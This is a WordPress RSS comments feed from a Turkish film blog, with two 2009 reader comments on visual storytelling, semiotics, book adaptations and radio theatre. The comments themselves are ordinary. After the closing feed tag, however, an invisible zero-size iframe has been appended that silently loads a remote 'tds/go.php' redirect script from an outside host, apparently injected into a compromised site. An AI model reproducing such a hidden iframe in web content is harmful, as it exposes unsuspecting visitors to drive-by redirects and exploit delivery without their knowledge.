<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Körler İçin Sinema</title>
	<atom:link href="http://www.eylemplani.com/2009/05/korler-icin-sinema-2/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.eylemplani.com/2009/05/korler-icin-sinema-2/</link>
	<description></description>
	<lastBuildDate>Fri, 27 Jan 2012 00:36:41 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Eylem Caner</title>
		<link>http://www.eylemplani.com/2009/05/korler-icin-sinema-2/#comment-10</link>
		<dc:creator>Eylem Caner</dc:creator>
		<pubDate>Wed, 27 May 2009 18:00:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/beta/?p=295#comment-10</guid>
		<description>İlk paragraftakilerin tamamına katılmamak salaklık olur herhalde ancak bunu kırabilen filmler olduğunu da unutmamak gerek.&lt;br /&gt;&lt;br /&gt;Göstergebilimin gücü ve etkisi tam bu noktada devreye girer. Öyle ustalar vardır ki, kurdukları tek bir kadrajla insanı alaşağı edebilirler, zihni pek çok bilinmeyene, gidilmeyene açabilirler. Epik konuşmalar gibi gelebilir ama eğer bir film görsel olarak bir şey anlatamıyorsa, bu filmin zayıflığından kaynaklanmaktadır. &lt;br /&gt;&lt;br /&gt;Sinemanın yapması gereken iki şey vardır bence, birincisi iyi/güzel/özel/ilginç/vs. bir hikâye anlatmak, ikincisi ise seyircide merak uyandırmak. Seyircide merak uyandırmayan film, izlenmemeye mahkûmdur. Ama buradaki merak sadece hikâye bazlı kalmak zorunda değil. Adını unuttum ancak bir usta filminde, kapının arkasında telefonda konuşan bir kadını çekecekmiş. Öyle bir kadraj ayarlanıyor ki, kadının vücudunun yarısı kadrajın dışında. Sette kimse anlam veremiyor tabii, ancak sinemada izlendiğinde, salondaki seyircilerin çoğu, kadının tamamını görebilmek için ters tarafa doğru hareket edip kadını görmeye çalışıyorlar(&lt;a href=&quot;http://www.eylemplani.com/kareler-2-rosemarys-baby/&quot; rel=&quot;nofollow&quot;&gt;ayrıntılar burada&lt;/a&gt;). Tabii bu günümüzde yemeyecek bir numara. Ancak göstergebilimin doğru kullanıldığı zaman nelere kadir olabileceğine iyi bir kanıt.&lt;br /&gt;&lt;br /&gt;O nedenle diyorum ki, tüm sanatlardan besleniyor olsa da, sinemanın temel silahı görüntüdür. Kurgu da önemli olsa da, temsil ettiği şey harekettir. Sinemanın fotoğraftan farkı, kurgudan çok harekettir, zira fotoğraflar ile de bir kurgu yaratmak oldukça kolaydır. Yani bence görüntü bir filmin neredeyse her şeyidir..&lt;br /&gt;&lt;br /&gt;İkinci paragrafın cevabı ise ortada zaten. Evet öyledir ve aynen bu nedenledir ki hiçbir, ama hiçbir kitap uyarlaması, hayranlar tarafından beğenilmez ve yeterince derin olmamakla suçlanır, bu gayet normal olmasına rağmen, çok sığ bir tepkidir. Sebeplerini açıklamaya gerek dahi görmüyorum. Asla ve asla &quot;uyarlamaları&quot; uyarlama olarak görmem, iyi bir film mi, atmosfer yaratabiliyor mu bunlara bakarım. Yaratıyorsa başarılı bir filmdir..</description>
		<content:encoded><![CDATA[<p>İlk paragraftakilerin tamamına katılmamak salaklık olur herhalde ancak bunu kırabilen filmler olduğunu da unutmamak gerek.</p>
<p>Göstergebilimin gücü ve etkisi tam bu noktada devreye girer. Öyle ustalar vardır ki, kurdukları tek bir kadrajla insanı alaşağı edebilirler, zihni pek çok bilinmeyene, gidilmeyene açabilirler. Epik konuşmalar gibi gelebilir ama eğer bir film görsel olarak bir şey anlatamıyorsa, bu filmin zayıflığından kaynaklanmaktadır. </p>
<p>Sinemanın yapması gereken iki şey vardır bence, birincisi iyi/güzel/özel/ilginç/vs. bir hikâye anlatmak, ikincisi ise seyircide merak uyandırmak. Seyircide merak uyandırmayan film, izlenmemeye mahkûmdur. Ama buradaki merak sadece hikâye bazlı kalmak zorunda değil. Adını unuttum ancak bir usta filminde, kapının arkasında telefonda konuşan bir kadını çekecekmiş. Öyle bir kadraj ayarlanıyor ki, kadının vücudunun yarısı kadrajın dışında. Sette kimse anlam veremiyor tabii, ancak sinemada izlendiğinde, salondaki seyircilerin çoğu, kadının tamamını görebilmek için ters tarafa doğru hareket edip kadını görmeye çalışıyorlar(<a href="http://www.eylemplani.com/kareler-2-rosemarys-baby/" rel="nofollow">ayrıntılar burada</a>). Tabii bu günümüzde yemeyecek bir numara. Ancak göstergebilimin doğru kullanıldığı zaman nelere kadir olabileceğine iyi bir kanıt.</p>
<p>O nedenle diyorum ki, tüm sanatlardan besleniyor olsa da, sinemanın temel silahı görüntüdür. Kurgu da önemli olsa da, temsil ettiği şey harekettir. Sinemanın fotoğraftan farkı, kurgudan çok harekettir, zira fotoğraflar ile de bir kurgu yaratmak oldukça kolaydır. Yani bence görüntü bir filmin neredeyse her şeyidir..</p>
<p>İkinci paragrafın cevabı ise ortada zaten. Evet öyledir ve aynen bu nedenledir ki hiçbir, ama hiçbir kitap uyarlaması, hayranlar tarafından beğenilmez ve yeterince derin olmamakla suçlanır, bu gayet normal olmasına rağmen, çok sığ bir tepkidir. Sebeplerini açıklamaya gerek dahi görmüyorum. Asla ve asla &#8220;uyarlamaları&#8221; uyarlama olarak görmem, iyi bir film mi, atmosfer yaratabiliyor mu bunlara bakarım. Yaratıyorsa başarılı bir filmdir..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bulut</title>
		<link>http://www.eylemplani.com/2009/05/korler-icin-sinema-2/#comment-9</link>
		<dc:creator>Bulut</dc:creator>
		<pubDate>Tue, 26 May 2009 18:28:51 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/beta/?p=295#comment-9</guid>
		<description>Radyo tiyatrosu belki bu fikrin, erken tarihli bir denemesi olarak değerlendirilebilir. Görüntü olmadan aktarılan bir hikayede (sinemayı her şeyden önce bir kurgu sanatı kabul edersek) ses ve müzikle birlikte ve hatta ses ve müzikten önce metin önem kazanır. Aktarılan durum seslerle desteklense bile, tıpkı kitap okurken olduğu gibi her seyircinin kendi algısında bir karşılık bulması gerektiğinden, seyirciyi anlatılanı zihninde canlandırmaya  zorlayacaktır. Bu da sanat eserini hem sanatçının hem de tüketicinin bir arada üretmesi anlamına gelir ki, ben bunun klasik sinemanın bize sunduğu izleyici pozisyonunda daha heyecan verici olduğunu düşünüyorum. Ufak bir örnek vermek gerekirse, bir sinema filminde yönetmen bize kapıdan içeri giren kırmızı elbiseli bir kadın gösterebilir, ama görüntü olmadan işiteceğimiz veya okuyacağımız &quot;kapıdan içeri kırmızı elbiseli bir kadın girdi&quot; cümlesi bizim kendi algımızdaki kırmızı elbiseli bir kadında karşılık bulacaktır. Bu da hikayenin tüketildiği anda yeniden yaratılması anlamına gelir.&lt;br /&gt;&lt;br /&gt;Ama o zaman da aklıma şu soru geliyor; roman sanatı zaten bunu yapmıyor mu? (ve bu nedenle kitap okumak film izlemeye kıyasla daha zahmetli ve verimli bir uğraşı değil mi?)</description>
		<content:encoded><![CDATA[<p>Radyo tiyatrosu belki bu fikrin, erken tarihli bir denemesi olarak değerlendirilebilir. Görüntü olmadan aktarılan bir hikayede (sinemayı her şeyden önce bir kurgu sanatı kabul edersek) ses ve müzikle birlikte ve hatta ses ve müzikten önce metin önem kazanır. Aktarılan durum seslerle desteklense bile, tıpkı kitap okurken olduğu gibi her seyircinin kendi algısında bir karşılık bulması gerektiğinden, seyirciyi anlatılanı zihninde canlandırmaya  zorlayacaktır. Bu da sanat eserini hem sanatçının hem de tüketicinin bir arada üretmesi anlamına gelir ki, ben bunun klasik sinemanın bize sunduğu izleyici pozisyonunda daha heyecan verici olduğunu düşünüyorum. Ufak bir örnek vermek gerekirse, bir sinema filminde yönetmen bize kapıdan içeri giren kırmızı elbiseli bir kadın gösterebilir, ama görüntü olmadan işiteceğimiz veya okuyacağımız &#8220;kapıdan içeri kırmızı elbiseli bir kadın girdi&#8221; cümlesi bizim kendi algımızdaki kırmızı elbiseli bir kadında karşılık bulacaktır. Bu da hikayenin tüketildiği anda yeniden yaratılması anlamına gelir.</p>
<p>Ama o zaman da aklıma şu soru geliyor; roman sanatı zaten bunu yapmıyor mu? (ve bu nedenle kitap okumak film izlemeye kıyasla daha zahmetli ve verimli bir uğraşı değil mi?)</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
